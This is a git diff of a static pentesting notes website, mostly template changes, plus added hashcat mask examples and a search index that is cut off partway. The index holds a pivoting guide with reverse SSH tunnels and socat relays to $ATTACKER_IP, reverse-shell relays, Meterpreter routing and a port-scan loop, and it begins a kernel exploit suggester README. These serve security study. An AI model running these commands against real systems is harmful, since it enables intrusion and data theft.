- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -178,109 +177,34 @@ pip2 install .
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/docs/responder.html b/build/exploit/windows/docs/responder.html index 361088f..c4c27bc 100644 --- a/build/exploit/windows/docs/responder.html +++ b/build/exploit/windows/docs/responder.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -154,109 +153,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/docs/unquoted_path.html b/build/exploit/windows/docs/unquoted_path.html index ba81390..218ccbb 100644 --- a/build/exploit/windows/docs/unquoted_path.html +++ b/build/exploit/windows/docs/unquoted_path.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -212,109 +211,34 @@ Start-Service -name "servicename"
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/macros/macros.html b/build/exploit/windows/macros/macros.html index 452fb3f..b44c63d 100644 --- a/build/exploit/windows/macros/macros.html +++ b/build/exploit/windows/macros/macros.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -187,109 +186,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/payloads/windows_scripting_host.html b/build/exploit/windows/payloads/windows_scripting_host.html index e5d64b4..3b911f9 100644 --- a/build/exploit/windows/payloads/windows_scripting_host.html +++ b/build/exploit/windows/payloads/windows_scripting_host.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -262,109 +261,34 @@ End Sub
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/print_nightmare/CVE-2021-1675/README.html b/build/exploit/windows/print_nightmare/CVE-2021-1675/README.html index b48fcb0..876bdef 100644 --- a/build/exploit/windows/print_nightmare/CVE-2021-1675/README.html +++ b/build/exploit/windows/print_nightmare/CVE-2021-1675/README.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -177,109 +176,34 @@ Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/print_nightmare/PrintNightmare/README.html b/build/exploit/windows/print_nightmare/PrintNightmare/README.html index 8d038b4..c24979a 100644 --- a/build/exploit/windows/print_nightmare/PrintNightmare/README.html +++ b/build/exploit/windows/print_nightmare/PrintNightmare/README.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -401,109 +400,34 @@ Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/print_nightmare/print_nightmare.html b/build/exploit/windows/print_nightmare/print_nightmare.html index 7518a38..61097b3 100644 --- a/build/exploit/windows/print_nightmare/print_nightmare.html +++ b/build/exploit/windows/print_nightmare/print_nightmare.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -215,109 +214,34 @@ Set-Service -Name Spooler -StartupType Disabled
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/print_nightmare/printspoofer/README.html b/build/exploit/windows/print_nightmare/printspoofer/README.html index 56f72b6..e1747a6 100644 --- a/build/exploit/windows/print_nightmare/printspoofer/README.html +++ b/build/exploit/windows/print_nightmare/printspoofer/README.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -150,109 +149,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/process_injection/dll_injection.html b/build/exploit/windows/process_injection/dll_injection.html index b53c9bc..2ad74df 100644 --- a/build/exploit/windows/process_injection/dll_injection.html +++ b/build/exploit/windows/process_injection/dll_injection.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -221,109 +220,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/process_injection/process_hollowing.html b/build/exploit/windows/process_injection/process_hollowing.html index 80009fb..93693c0 100644 --- a/build/exploit/windows/process_injection/process_hollowing.html +++ b/build/exploit/windows/process_injection/process_hollowing.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -309,109 +308,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/process_injection/shellcode_injection.html b/build/exploit/windows/process_injection/shellcode_injection.html index aabcd91..abc4eb3 100644 --- a/build/exploit/windows/process_injection/shellcode_injection.html +++ b/build/exploit/windows/process_injection/shellcode_injection.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -206,109 +205,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/process_injection/thread_hijacking.html b/build/exploit/windows/process_injection/thread_hijacking.html index b71331d..0d51607 100644 --- a/build/exploit/windows/process_injection/thread_hijacking.html +++ b/build/exploit/windows/process_injection/thread_hijacking.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -225,109 +224,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/service_escalation/service_escalation.html b/build/exploit/windows/service_escalation/service_escalation.html index bd7daa2..7044efa 100644 --- a/build/exploit/windows/service_escalation/service_escalation.html +++ b/build/exploit/windows/service_escalation/service_escalation.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -168,109 +167,34 @@ sc start regsvc
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/windows/zero_logon/zero_logon.html b/build/exploit/windows/zero_logon/zero_logon.html index 8df9c36..7437449 100644 --- a/build/exploit/windows/zero_logon/zero_logon.html +++ b/build/exploit/windows/zero_logon/zero_logon.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -214,109 +213,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/exploit/yaml/deserialization.html b/build/exploit/yaml/deserialization.html index de88536..065e02a 100644 --- a/build/exploit/yaml/deserialization.html +++ b/build/exploit/yaml/deserialization.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -162,109 +161,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/forensics/ios.html b/build/forensics/ios.html index 07dbe55..4019acd 100644 --- a/build/forensics/ios.html +++ b/build/forensics/ios.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -182,109 +181,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/forensics/kape.html b/build/forensics/kape.html index 57890e1..01c3fbf 100644 --- a/build/forensics/kape.html +++ b/build/forensics/kape.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -167,109 +166,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/forensics/ntfs.html b/build/forensics/ntfs.html index b7ef314..f32887b 100644 --- a/build/forensics/ntfs.html +++ b/build/forensics/ntfs.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -199,109 +198,34 @@ C:\Users\<username> - - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/forensics/oletools.html b/build/forensics/oletools.html index 180bda4..f0d1335 100644 --- a/build/forensics/oletools.html +++ b/build/forensics/oletools.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -182,109 +181,34 @@ oledump.py file.doc -Ss <No. of stream> -v
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/forensics/volatility.html b/build/forensics/volatility.html index 52a6faa..deb6e01 100644 --- a/build/forensics/volatility.html +++ b/build/forensics/volatility.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -187,109 +186,34 @@ volatility -f <file.iso> kdbgscan
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/forensics/windows_registry.html b/build/forensics/windows_registry.html index 78c946b..df5234a 100644 --- a/build/forensics/windows_registry.html +++ b/build/forensics/windows_registry.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -329,109 +328,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/hashes/generate_wordlists.html b/build/hashes/generate_wordlists.html index 1cf4140..b484d70 100644 --- a/build/hashes/generate_wordlists.html +++ b/build/hashes/generate_wordlists.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -201,109 +200,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/hashes/haiti.html b/build/hashes/haiti.html index d6bcbf5..174d840 100644 --- a/build/hashes/haiti.html +++ b/build/hashes/haiti.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -149,109 +148,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
- - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/hashes/hashcat_utils.html b/build/hashes/hashcat_utils.html index 026757b..3689888 100644 --- a/build/hashes/hashcat_utils.html +++ b/build/hashes/hashcat_utils.html @@ -5,15 +5,14 @@ - - - - - + + + +
- In the Open + The Real Hugo @@ -21,7 +20,7 @@
@@ -39,7 +38,7 @@
-
@@ -127,11 +126,19 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left: .codehilite .il { color: #F78C6C } /* Literal.Number.Integer.Long */

Hashcat Utilities

+

Wordlists

+
  • Combine wordlists
combinator wordlist.txt otherwordlist.txt > newwordlist.txt
@@ -141,6 +148,15 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
 
  • Create wordlist
  • hashcat --force <input.txt> -r /opt/hashcat/rules/best64.rule --stdout > wordlist.txt
    +
    + +

    Using Masks

    +
      +
    • A mask can be set instead of a wordlist, this charset is then brute forced by iterating the charset
    • +
    • Masks
    • +
    • Bruteforcing seven lowerspace characters using SHA2-384 as an example
    • +
    +
    hashcat -m 10800 -a 3 hash.out ?l?l?l?l?l?l?l
     
    @@ -155,109 +171,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
    - - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/hashes/password_cracking/hydra.html b/build/hashes/password_cracking/hydra.html index 3392661..f90d758 100644 --- a/build/hashes/password_cracking/hydra.html +++ b/build/hashes/password_cracking/hydra.html @@ -5,15 +5,14 @@ - - - - - + + + +
    - In the Open + The Real Hugo @@ -21,7 +20,7 @@
    @@ -39,7 +38,7 @@
    -
    @@ -182,109 +181,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
    - - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/hashes/password_cracking/john.html b/build/hashes/password_cracking/john.html index 058de66..6e82e89 100644 --- a/build/hashes/password_cracking/john.html +++ b/build/hashes/password_cracking/john.html @@ -5,15 +5,14 @@ - - - - - + + + +
    - In the Open + The Real Hugo @@ -21,7 +20,7 @@
    @@ -39,7 +38,7 @@
    -
    @@ -201,109 +200,34 @@ $[0-9]$ - - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/hashes/password_cracking/smb_challenge.html b/build/hashes/password_cracking/smb_challenge.html index 1bcb705..28fe1cf 100644 --- a/build/hashes/password_cracking/smb_challenge.html +++ b/build/hashes/password_cracking/smb_challenge.html @@ -5,15 +5,14 @@ - - - - - + + + +
    - In the Open + The Real Hugo @@ -21,7 +20,7 @@
    @@ -39,7 +38,7 @@
    -
    @@ -168,109 +167,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
    - - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/hashes/password_cracking/sucrack.html b/build/hashes/password_cracking/sucrack.html index 6625246..4dc504d 100644 --- a/build/hashes/password_cracking/sucrack.html +++ b/build/hashes/password_cracking/sucrack.html @@ -5,15 +5,14 @@ - - - - - + + + +
    - In the Open + The Real Hugo @@ -21,7 +20,7 @@
    @@ -39,7 +38,7 @@
    -
    @@ -150,109 +149,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
    - - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/hashes/password_cracking/vnc.html b/build/hashes/password_cracking/vnc.html index 8f6cfe0..2b24e6b 100644 --- a/build/hashes/password_cracking/vnc.html +++ b/build/hashes/password_cracking/vnc.html @@ -5,15 +5,14 @@ - - - - - + + + +
    - In the Open + The Real Hugo @@ -21,7 +20,7 @@
    @@ -39,7 +38,7 @@
    -
    @@ -149,109 +148,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
    - - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/hashes/password_guessing/standard_passwords.html b/build/hashes/password_guessing/standard_passwords.html index 663e544..1ddbe77 100644 --- a/build/hashes/password_guessing/standard_passwords.html +++ b/build/hashes/password_guessing/standard_passwords.html @@ -5,15 +5,14 @@ - - - - - + + + +
    - In the Open + The Real Hugo @@ -21,7 +20,7 @@
    @@ -39,7 +38,7 @@
    -
    @@ -153,109 +152,34 @@ span.linenos.special { color: #607A86; background-color: #263238; padding-left:
    - - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/index.html b/build/index.html index 0f15bf5..fa280f1 100644 --- a/build/index.html +++ b/build/index.html @@ -5,15 +5,14 @@ - - - - - + + + +
    - In the Open + The Real Hugo @@ -21,7 +20,7 @@
    @@ -39,7 +38,7 @@
    -
    @@ -259,109 +258,34 @@ Authorized audit of security systems of computers and networks.
    - - - - + + MathJax.Hub.Config({ + config: ["MMLorHTML.js"], + jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"], + extensions: ["MathMenu.js", "MathZoom.js"] + }); + \ No newline at end of file diff --git a/build/index.json b/build/index.json index cc3a783..17260d2 100644 --- a/build/index.json +++ b/build/index.json @@ -1 +1 @@ -{"index":[{"content":"Pentesting* [Pentesting Execution Standard](http://www.pentest-standard.org/index.php/Main_Page)\nAuthorized audit of security systems of computers and networks.\n* [Rules of Engagement -- Cheat Sheet](https://sansorg.egnyte.com/dl/bF4I3yCcnt/?) and [redteam.guide ROEs](https://redteam.guide/docs/templates/roe_template/)\n * Permissions\n * Engagement --> internal/external pentest or adversary emulation of APTs\n * Scope --> networks, IPs, exfilration of data, which stage, downtime, DDoS\n * Rules\n* NDA\n\n## Campaign\n* [Checklist](https://redteam.guide/docs/checklists/red-team-checklist/)\n* [vectr.io](https://vectr.io)\n\n* Engagement --> Concept of Operations (CONOPS), Resource and Personnel Requirements, Timelines\n* Operations --> Operators, Known Information, Responsibilities\n* Mission --> Exact commands to run and execution time of the engagement\n* Remediation --> Report, Remediation consultation\n\n## Methodology\n\n* Steps\n * Reconnaissance\n * Enumeration/Scanning\n * Gaining Access\n * Privilege Escalation\n * Covering Tracks\n * Reporting\n\n### Reconnaissance\n* Duck / SearX / metacrawler / google\n* Wikipedia\n* [Shodan.io](http://www.shodan.io)\n* PeopleFinder.com\n* who.is\n* sublist3r\n* hunter.io\n* builtwith.com\n* wappalyzer\n\n### Enumeration\n* nmap\n* nikto\n* gobuster\n* dirbuster\n* metasploit\n* enum4linux / linpeas / winpeas / linenum\n\n### Exploitation\n\n### Post Exploitation\n* Pivoting\n#### Privilege Escalation\n* Vertically or horizontally\n\n#### Covering Tracks\n\n#### Reporting\n* Includes\n * Vulnerabilities\n * Criticality\n * Description\n * Countermeasures \n * Finding summary\n\n## Frameworks\n* [OSSTMM3](https://www.isecom.org/OSSTMM.3.pdf)\n* [NIST](https://www.nist.gov/cyberframework)\n* [CAF](https://www.ncsc.gov.uk/collection/caf/caf-principles-and-guidance)\n\n## Testing Webapps\n\n* Two methods\n1. Every Page and its functions one by one\n2. Test by stages \n * Authorization\n * Authentication\n * Injection\n * Client Side Controls\n * Application Logic\n","description":"","tags":[],"title":"Pentesting","uri":"/README.html"},{"content":"Pivoting\n* Tunnelling/Proxying\n* Port Forwarding\n\n## Enumeration \n### Using material found on the machine and preinstalled tools\n* `arp -a`\n* `/etc/hosts` or `C:\\Windows\\System32\\drivers\\etc\\hosts`\n* `/etc/resolv.conf`\n* `ipconfig /all`\n* `nmcli dev show`\n* [Statically compiled tools](https://github.com/andrew-d/static-binaries.git)\n\n### Scripting Techniques\n```sh\nfor i in {1..255}; do (ping -c 1 192.168.0.${1} | grep \"bytes from\" &); done\nfor i in {1..65535}; do (echo > /dev/tcp/192.168.0.1/$i) >/dev/null 2>&1 && echo $i is open; done\n```\n* Using local tools through a proxy like `nmap`\n\n## Tools\n\n* Enumerating a network using native and statically compiled tools\n\n### Proxychains / FoxyProxy\n\n* In need of dynamic port forwarding execute a reverse proxy on the jumpserver to reach the attacker's proxychains\n ```sh\n ssh @$ATTACKER_IP -R 9050 -N\n ```\n* Proxychains, e.g. scan target via nmap, or connect via nc through jump server\n ```sh\n proxychains nc \n proychains nmap \n proxychains ssh user@$TARGET_IP\n proxychains evil-winrm -i $TARGET_IP -u $USER -p $PASS\n proxychains wget http://$TARGET_IP:8000/loot.zip\n ```\n * Use `/etc/proxychains.conf` or `./proxychains.conf`containing:\n ```sh\n [ProxyList]\n # add proxy here ...\n # meanwhile\n # defaults set to \"tor\"\n socks4 127.0.0.1 9050\n #socks5 127.0.0.1 1337\n # proxy_dns\n ``` \n* FoxyProxy, choose proxy type, proxy IP and port in settings \n\n### SSH port forwarding and tunnelling (primarily Unix)\n\n* LocalPortForwarding\n ```sh\n ssh -L $LOCAL_PORT:: @ -fN\n ```\n * Another possibility to use the jumpserver directly on it's cli via `ssh @ -L *:$LOCAL_PORT:127.0.0.1:80 -N`. One can connect now to the target via the jumpserver\n * Tip: open port on windows target via\n ```sh\n netsh advfirewall firewall add rule name=\"new port\" dir=in action=allow protocol=TCP localport=%PORT%\n ```\n\n* Dynamic Port Forwarding\n ```sh\n ssh -D $PORT @ -fN\n ```\n\n* Reverse Proxy, if there is an SSH client on the jumpserver but no SSH server via\n ```sh\n ssh -R $LOCAL_PORT:$TARGET_IP:$TARGET_PORT USERNAME@$ATTACKER_IP(local) -i $KEYFILE -fN\n ```\n * Tip1: create a user on the attacker to receive the connection without compromising your own password\n * Tip2: use `-N` to not receive an interactive shell. The attacking user does not necessarily have one on the target\n\n### plink.exe (Windows)\n* [latest version](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html)\n```sh\ncmd.exe /c echo y | .\\plink.exe -R :: @ -i -N\n```\n* Key generation\n ```sh\n puttygen -o key.ppk\n ```\n* Circumvention, described by [U.Y.](https://medium.com/@informationsecurity/remote-ssh-tunneling-with-plink-exe-7831072b3d7d) \n```sh\necho y | &.\\plink.exe -ssh -l -pw -R ::127.0.0.1: \n```\n\n### Socat\n\n* Reverse shell on target via\n ```sh\n ./socat tcp-l:8000 tcp::443 &\n ```\n * Attacking bind shell\n ```sh\n sudo nc -lvnp 443\n ```\n\n* Relay on jumpserver via\n ```sh\n ./socat tcp-l:33060,fork,reuseaddr tcp::3306 &\n ```\n\n* Quiet Port Forwarding\n * On attacker\n ```sh\n socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &\n ```\n * On relay server\n ```sh\n ./socat tcp::8001 tcp::,fork &\n ```\n * Open `localhost:8000`\n\n* Processes are backgrounded via `&`. Therefore, the process can be quit by using the corresponding bg number like `kill %1`.\n\n* In need of a Download on target, expose a port on the attacker via relay\n ```sh\n socat tcp-l:80,fork tcp:$ATTACKER_IP:80\n ```\n\n### Chisel\n* **Does not require SSH on target**\n* Reverse Proxy\n * Bind port on attacker\n ```sh\n ./chisel server -p --reverse &\n ```\n * Reverse port on target/proxy\n ```sh\n ./chisel client : R:socks &\n ```\n * `proxychains.conf` contains\n ```sh\n [ProxyList]\n socks5 127.0.0.1 \n ```\n\n* Forward SOCKS Proxy\n * Proxy/compromised machine\n ```sh\n ./chisel server -p --socks5\n ```\n * On attacker\n ```sh\n ./chisel client : :socks\n ```\n* Remote Port Forward\n * On attacker\n ```sh\n ./chisel server -p --reverse &\n ```\n * On forwarder\n ```sh\n ./chisel client : R::: &\n ```\n* Local Port Forwarding\n * On proxy\n ```sh\n ./chisel server -p \n ```\n * On attacker\n ```sh\n ./chisel client : ::\n ```\n\n### sshuttle\n* `pip install sshuttle`\n* `sshuttle -r @ `\n* or automatically determined\n```sh\nsshuttle -r @ -N\n```\n* Key based auth\n```sh\nsshuttle -r @ --ssh-cmd \"ssh -i \" \n```\n* Exclude servers via `-x`, for example the target/gateway server\n\n### Meterpreter\n* Meterpreter with payload `set payload linux/x64/meterpreter_reverse_tcp` after successful connection do\n```sh\nportfwd add -l 22 -p 22 -r 127.0.0.1\n```\n\n#### Meterpreter Auto Routing\n\n* Upload payload and catch it with `multi/handler`\n```\nbackground\nuse post/multi/manage/autoroute\nset session 1\nset subnet <10.0.0.0>\nrun\n```\n\n#### Meterpreter Proxy Routing\n\n* Specify socks proxy via\n```sh\nuse auxiliary/server/socks_proxy\n```\n* Set proxychain on attacker accordingly\n\n### rpivot\n\n* [klsecservices' repo](https://github.com/klsecservices/rpivot.git)\n* [Their windows binary release](https://github.com/klsecservices/rpivot/releases/tag/v1.0)\n\n## Links\n\n* [Shadowmove at the adepts of 0xcc](https://adepts.of0x.cc/shadowmove-hijack-socket/)\n","description":"","tags":[],"title":"Pivoting","uri":"/post exploitation/pivoting.html"},{"content":"Linux Exploit Suggester 2\n=========================\n\nNext-generation exploit suggester based on [Linux_Exploit_Suggester](https://github.com/PenturaLabs/Linux_Exploit_Suggester)\n\nKey Improvements Include:\n* More exploits! (Last updated: March 27, 2019)\n* Option to download exploit code directly from Exploit DB\n* Accurate wildcard matching. This expands the scope of searchable exploits.\n* Output colorization for easy viewing.\n* And more to come!\n\nThis script is extremely useful for quickly finding privilege escalation vulnerabilities both in on-site and exam environments. \n\nUsage\n==============\n\nWhen run without arguments, the script performs a 'uname -r' to grab the Linux operating system release version, and returns a list of possible exploits. Links to CVEs and applicable exploit POCs are included. Keep in mind that a patched/back-ported patch may fool this script.\n\n```\n$ ./linux-exploit-suggester.pl\n\n Local Kernel: 4.4.0\n Searching among 73 exploits...\n\n Possible Exploits\n [1] af_packet\n CVE-2016-8655\n Source: http://www.exploit-db.com/exploits/40871\n [2] dirty_cow\n CVE-2016-5195\n Source: http://www.exploit-db.com/exploits/40616\n [3] exploit_x\n CVE-2018-14665\n Source: http://www.exploit-db.com/exploits/45697\n [4] get_rekt\n 